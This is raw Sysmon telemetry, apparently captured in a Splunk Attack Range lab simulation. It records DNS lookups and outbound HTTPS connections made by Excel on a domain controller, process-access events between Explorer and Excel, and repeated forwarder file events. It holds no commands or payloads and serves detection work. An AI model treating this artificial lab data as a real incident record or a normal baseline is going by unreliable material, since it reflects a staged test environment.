Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=77AD2410D1C8D13B3221FBD4260F024C,SHA256=5D1F10D51AC6B125AA987988A1607416B5BE6AD03CBBB1C5747D1C89DA3BB55F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000014476Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:39.429{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=970D6D6BDC60AF1316737BFD3E47C25D,SHA256=B723BB0FFDE5A7E76D9987214A0FDF5209D8FFF2CEB75CC8415A7B02B1F11242,IMPHASH=00000000000000000000000000000000falsetrue 22542200x800000000000000046621Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:36.811{7BD73061-7003-613B-F90A-00000000F001}5220autodiscover-s.outlook.com0type: 5 outlook.office365.com;type: 5 outlook.ha.office365.com;type: 5 outlook.ms-acdc.office.com;type: 5 HHN-efz.ms-acdc.office.com;::ffff:40.101.137.66;::ffff:40.101.136.2;::ffff:40.101.137.50;::ffff:52.98.152.194;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 22542200x800000000000000046620Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:36.805{7BD73061-7003-613B-F90A-00000000F001}5220win-dc-387.attackrange.local0fe80::54c:bd54:34e2:1fb5;::ffff:10.0.1.14;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 22542200x800000000000000046619Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:36.803{7BD73061-7003-613B-F90A-00000000F001}5220autodiscover.attackrange.local9003-C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 23542300x800000000000000046618Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:38.994{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=735CC77350D44BCB6823204EEF544284,SHA256=92C12DAF3AF34CEC142BA923333324774507518FF3743402742B13CE160FA815,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046628Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:40.432{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A7CCE40742E8E082467F82D37C4A836A,SHA256=F177DDDAEFCF647C002DFF1EFDED8303291E388E26800EFBC07EEFEB587DE539,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000014477Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:40.460{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=F71A480C12E88DC8667207D07F43BCD7,SHA256=AF8F2BD0A1B383DFA0309703EF5FCCF0E43FFFDFD4527B70AE800B8A93C6F77B,IMPHASH=00000000000000000000000000000000falsetrue 22542200x800000000000000046627Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:36.879{7BD73061-7003-613B-F90A-00000000F001}5220attackrange.local0::ffff:10.0.1.14;C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE 354300x800000000000000046630Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:38.919{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local54367- 23542300x800000000000000046629Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:41.494{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=181D619F562ED87EBFB8AD7319016B08,SHA256=67788728E77811723A17285EB042B4C4763F4EDBC0A62F1B1EF0563227004325,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000014478Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:41.491{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=B120E0E4F47DCBABFB0796F3C9BC7C73,SHA256=7BD669DA552E8A26A0E850CA1D3D1C9F6D4342C22CE251031B4ECCFEC5339D26,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046632Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:39.372{7BD73061-6658-613B-DE00-00000000F001}3980C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.14win-dc-387.attackrange.local59331-false10.0.1.12-8000- 23542300x800000000000000046631Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:42.714{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=3B5201DDC6B1C098A5DAD167F4767C7C,SHA256=3091657718C24F6B0EC52598E8C21F6173FFB72ECFC650994ADDE7C2FFCFBC3B,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000014479Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:42.507{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=ED6CBADE4CE8ABD1E1DA6608EBB65F7C,SHA256=90BD8D1D31962E1768C7C31DC7A9D94BA4583D8596C5BF9D85AC1EA5A3471783,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046634Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:43.791{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000046633Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:43.729{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=521282DFF60DAE741D3DCDED81418D4E,SHA256=F7DB151D9A0BC1698116017B65B549A324893F49C94F040BB055E75DCB2B0F9F,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000014480Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:43.522{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=BEBC7CFC0C14524BBF693664ADF30CC3,SHA256=11017814439978B62896F6EB7596A5FD8B33D853111CEA5F774852A38970E392,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046642Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:44.745{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=26AD6FFA26760A3500ABED0B853C10BD,SHA256=A1BF380AB9D1DDA4DCD46B3DCCFEA5E080A16BB9EDA4DE01607A8B5B2F7DA798,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000014481Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:44.554{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=7D969B4F756B4DD540B5B9E878813B72,SHA256=24764560AE3DF44C37AED7679AB6D2D6BA0EC1C48349DA142C97DF5C884CA52E,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046641Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:44.166{7BD73061-7003-613B-F90A-00000000F001}52207124C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d4a67|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+4cac5|C:\Windows\System32\windows.storage.dll+4ca0d|C:\Windows\System32\windows.storage.dll+d3b6|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000046640Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:44.166{7BD73061-7003-613B-F90A-00000000F001}52207124C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+1c0e5|C:\Windows\System32\windows.storage.dll+d49d2|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+4cac5|C:\Windows\System32\windows.storage.dll+4ca0d|C:\Windows\System32\windows.storage.dll+d3b6|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466|C:\Windows\System32\combase.dll+5dc1a|C:\Windows\System32\USER32.dll+121e4|C:\Windows\System32\USER32.dll+11b2c 10341000x800000000000000046639Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:44.166{7BD73061-7003-613B-F90A-00000000F001}52207124C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+4cac5|C:\Windows\System32\windows.storage.dll+4ca0d|C:\Windows\System32\windows.storage.dll+d3b6|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f 10341000x800000000000000046638Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:44.166{7BD73061-7003-613B-F90A-00000000F001}52207124C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+d49b7|C:\Windows\System32\windows.storage.dll+d4393|C:\Windows\System32\windows.storage.dll+d4219|C:\Windows\System32\windows.storage.dll+4cac5|C:\Windows\System32\windows.storage.dll+4ca0d|C:\Windows\System32\windows.storage.dll+d3b6|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000046637Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:44.166{7BD73061-7003-613B-F90A-00000000F001}52207124C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6497|C:\Windows\System32\shcore.dll+6387|C:\Windows\System32\shcore.dll+62fd|C:\Windows\System32\shcore.dll+620a|C:\Windows\System32\windows.storage.dll+6165e|C:\Windows\System32\windows.storage.dll+d42ec|C:\Windows\System32\windows.storage.dll+d40c8|C:\Windows\System32\windows.storage.dll+4cac5|C:\Windows\System32\windows.storage.dll+4ca0d|C:\Windows\System32\windows.storage.dll+d3b6|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 10341000x800000000000000046636Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:44.166{7BD73061-7003-613B-F90A-00000000F001}52207124C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6482|C:\Windows\System32\shcore.dll+617d|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+6164c|C:\Windows\System32\windows.storage.dll+d42ec|C:\Windows\System32\windows.storage.dll+d40c8|C:\Windows\System32\windows.storage.dll+4cac5|C:\Windows\System32\windows.storage.dll+4ca0d|C:\Windows\System32\windows.storage.dll+d3b6|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f 10341000x800000000000000046635Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:44.166{7BD73061-7003-613B-F90A-00000000F001}52207124C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE{7BD73061-6D0F-613B-9406-00000000F001}4480C:\Windows\Explorer.EXE0x40C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\shcore.dll+64c8|C:\Windows\System32\shcore.dll+6154|C:\Windows\System32\shcore.dll+5e3d|C:\Windows\System32\shcore.dll+5dcf|C:\Windows\System32\shcore.dll+5cd4|C:\Windows\System32\windows.storage.dll+6164c|C:\Windows\System32\windows.storage.dll+d42ec|C:\Windows\System32\windows.storage.dll+d40c8|C:\Windows\System32\windows.storage.dll+4cac5|C:\Windows\System32\windows.storage.dll+4ca0d|C:\Windows\System32\windows.storage.dll+d3b6|C:\Windows\System32\RPCRT4.dll+7a593|C:\Windows\System32\RPCRT4.dll+d9f41|C:\Windows\System32\RPCRT4.dll+618a9|C:\Windows\System32\combase.dll+27a9|C:\Windows\System32\RPCRT4.dll+62d9b|C:\Windows\System32\combase.dll+6536c|C:\Windows\System32\combase.dll+65022|C:\Windows\System32\combase.dll+63938|C:\Windows\System32\combase.dll+61d7f|C:\Windows\System32\combase.dll+60d6f|C:\Windows\System32\combase.dll+5e466 23542300x800000000000000046648Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:45.932{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=B5F1E76809DEBA32795AFA4BEB310D23,SHA256=94D64C79A4C817F4DFF534EDA7A03C7CBC0733068C07A3E6818D35550D7E5134,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046647Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:45.760{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=91DEE3C1D669CD865AA2A40624FC6051,SHA256=D2867AD45662953CE115DFE4A723AAB430A82DFEDF89E8AD23BFF88AA0017F75,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000014483Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:45.586{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=A788DFAA207AEF948942E2CEDF8FFA3D,SHA256=63FD08F3B5E628EAD0900651E48387E15ABCE739A52F5DC2C07CDCAD5224CCE5,IMPHASH=00000000000000000000000000000000falsetrue 23542300x800000000000000046646Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:45.744{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=82F12369BF1112DD675A644D2EB1E112,SHA256=65EB244BC93F643BC5AC35204CAB9F025349D3C3C5F96F037104D6F70C6F5512,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046645Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:45.713{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=81F642DEBBEA751575CB2247083267E0,SHA256=0CFCEFFED6BF6D73564AD594592F07EA1AAB32F8A5CECEBD63D93BE7F2F94113,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046644Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:45.557{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=81F642DEBBEA751575CB2247083267E0,SHA256=0CFCEFFED6BF6D73564AD594592F07EA1AAB32F8A5CECEBD63D93BE7F2F94113,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000046643Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:45.557{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\ApplicationMD5=DF31835462A3BBBBB9707CB39EE21A0E,SHA256=A880B37A36A2B7DF2F1DB597EAE62FCAD43B89EA75E6D5BBA754822C3C376483,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 354300x800000000000000014482Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:43.350{625C326B-6882-613B-D200-00000000F101}3164C:\Program Files\SplunkUniversalForwarder\etc\apps\Splunk_TA_stream\windows_x86_64\bin\streamfwd.exeNT AUTHORITY\SYSTEMtcptruefalse10.0.1.15win-host-166.attackrange.local50155-false10.0.1.12ip-10-0-1-12.eu-central-1.compute.internal8000- 23542300x800000000000000046654Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:46.775{7BD73061-665D-613B-E700-00000000F001}2764NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DED4E7E8DF68FF54CCB8959CE93C6D1A,SHA256=2477982ED454B29D2DB450A6129258C9F65F455DDE4A79A0921055E75093B211,IMPHASH=00000000000000000000000000000000falsefalse - insufficient disk space 23542300x800000000000000014484Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:46.616{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=DAF27A85A3FE1AED1806FB1993FDD66C,SHA256=39846BC2B0892B84D6CFD81CAEE154A20DDEABEF6F19B9CCB220F34F712F73C0,IMPHASH=00000000000000000000000000000000falsetrue 354300x800000000000000046653Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:43.708{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59334-false104.101.101.4-443https 354300x800000000000000046652Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:43.545{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59332-false13.89.178.26-443https 354300x800000000000000046651Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:43.442{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXEATTACKRANGE\Administratortcptruefalse10.0.1.14win-dc-387.attackrange.local59333-false104.101.101.4-443https 354300x800000000000000046650Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:43.423{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local55879- 354300x800000000000000046649Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:43.421{7BD73061-65BF-613B-2A00-00000000F001}2956C:\Windows\System32\dns.exeNT AUTHORITY\SYSTEMudpfalsetrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local53domaintrue0:0:0:0:0:0:0:1win-dc-387.attackrange.local57164- 23542300x800000000000000014485Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:47.648{625C326B-6888-613B-DB00-00000000F101}104NT AUTHORITY\SYSTEMC:\Program Files\SplunkUniversalForwarder\bin\splunk-winevtlog.exeC:\Program Files\SplunkUniversalForwarder\var\lib\splunk\modinputs\WinEventLog\Microsoft-Windows-Sysmon_OperationalMD5=85EC8F57CDF0C7A46A0279B62449BE3B,SHA256=B8AFBCB94BE50827F6261382B0AD82DD1CA25806BEF586EDBD30BCED09E25028,IMPHASH=00000000000000000000000000000000falsetrue 10341000x800000000000000046655Microsoft-Windows-Sysmon/Operationalwin-dc-387.attackrange.local-2021-09-10 14:47:47.729{7BD73061-6D0F-613B-9406-00000000F001}44803136C:\Windows\Explorer.EXE{7BD73061-7003-613B-F90A-00000000F001}5220C:\Program Files\Microsoft Office\root\Office16\EXCEL.EXE0x1000C:\Windows\SYSTEM32\ntdll.dll+a6134|C:\Windows\System32\KERNELBASE.dll+221bd|C:\Windows\System32\SHELL32.dll+618b4|C:\Windows\System32\SHELL32.dll+62967|C:\Windows\Explorer.EXE+3c618|C:\Windows\Explorer.EXE+3c4a4|C:\Windows\Explorer.EXE+3c411|C:\Windows\System32\windows.storage.dll+7c2cf|C:\Windows\System32\windows.storage.dll+7b04f|C:\Windows\System32\windows.storage.dll+7dfef|C:\Windows\System32\SHCORE.dll+367a6|C:\Windows\SYSTEM32\ntdll.dll+39cf9|C:\Windows\SYSTEM32\ntdll.dll+1e88a|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+51781 23542300x800000000000000014486Microsoft-Windows-Sysmon/Operationalwin-host-166.attackrange.local-2021-09-10 14:47:48.694{625C326B-6888-613B-DB00-00000000F101}104NT 